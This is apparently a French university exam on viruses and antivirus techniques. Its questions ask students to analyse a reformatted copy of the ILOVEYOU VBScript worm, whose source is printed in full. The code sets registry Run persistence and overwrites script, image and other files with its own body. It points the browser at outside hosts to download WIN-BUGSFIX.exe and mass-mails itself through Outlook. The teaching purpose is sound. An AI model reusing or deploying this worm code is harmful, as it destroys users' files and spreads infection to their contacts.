# Examen Virus & Antivirus

**Attention : répondre directement sur le sujet**

**Nom / Prénom :**

Analyse d'une version allégée et reformatée de « I Love You »
(apparu en 2000, 3 millions de machines infectées en 4 jours, 5 milliard de $ de dégâts estimés)

**Note :** Il n'est pas nécessaire de comprendre de manière détaillée le code source joint, ni d'avoir une expérience préalable en programmation de scripts WSH pour répondre aux questions (ne vous attardez donc pas sur des détails).

## Questions

**Question 1 (1pt)** : Selon la taxonomie de Cohen (vue en cours), ce programme est-il :

- □ un virus
- □ un ver
- □ un hybride ver et virus
- □ un cheval de troie
- □ une bombe logique

Justifiez votre réponse (1 ligne) :

**Question 2 (1pt)** : Le programme possède une fonction d'anti-détection ? Si c'est le cas, indiquez quel sous-programme la contient.

**Question 3 (3pt)** : Quel est le rôle du sous-programme `infectfiles()` ? Quel est le mode de duplication ? Sera-t'il possible de désinfecter totalement cette menace ? Justifiez.

**Question 4 (3pt)** : Comment le programme augmente ses chances de survie ? Vous listerez les emplacements initiaux où s'installe le virus, et l'ensemble des actions qui visent à remplir cet objectif, en précisant les sous-programmes impliqués.

**Question 5 (3pt)** : Le programme détecte-t'il si la machine est déjà infectée ? Si c'est le cas, indiquez quel sous-programme contient la routine de détection d'infection. Si ce n'est pas le cas, comment pourrait-on faire cette détection ? En utilisant au maximum les sous-programme déjà écrits, proposez un sous-programme qui répond à ce besoin et indiquez où vous en feriez l'appel.

**Question 7 (1pt)** : Quelle technique anti-virale peut-on utiliser aujourd'hui pour détecter la présence de cette menace sur une machine ? Justifiez (1 phrase).

**Question 8 (2pt)** : A l'époque, un des rares anti-virus à avoir « empêché » l'infection des machines par cette menace était ViGUARD, un produit commercialisé par l'entreprise française Tegam. Quelles techniques anti-virales pouvaient être utilisées pour la détection de cette menace ? Justifiez (1 phrase).

**Question 9 (1pt)** : Le slogan publicitaire de ViGUARD était "détecte 100% des virus connus et inconnus". Discutez cette affirmation.

**Question 10 (2pt)** : Quelle(s) recommandation(s) en terme d'éléments d'architecture de sécurité du SI d'une entreprise pourriez-vous émettre pour limiter ce genre de menace ?

**Question 11 (1pt)** : Par rapport aux éléments que vous avez identifiés à la question 4, quelle(s) recommandation(s) pourriez-vous faire aux utilisateurs ?

**Question 12 (2pt)** : Dans le sous-programme `regruns`(), il est fait référence à une application `WIN-BUGSFIX.exe`. Comment le programme force-t'il l'utilisateur à télécharger cette application si elle n'est pas déjà en place ? Quel peut être le rôle de cette application (faites quelques propositions simples) ?

```
rem  barok -loveletter(vbe) <i hate go to school>
rem                    by:
spyder  /  ispyder@mail.com  /  @GRAMMERSoft
Group  /  Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,do
w
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

---------------------------------------------------------


sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\W
indows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
spreadtoemail()
listadriv()
end sub

---------------------------------------------------------


sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
rsion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
rsion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\I
nternet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvyt
wertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-
BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJn
wetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WI
N-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq19
8vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkK
LHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcb
vnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
rsion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub

---------------------------------------------------


sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

---------------------------------------------------


sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext
="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
next
end sub

---------------------------------------------------


sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
```

```
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

-------------------------------------------------

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

-------------------------------------------------

function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

-------------------------------------------------

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

-------------------------------------------------
```

```
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
```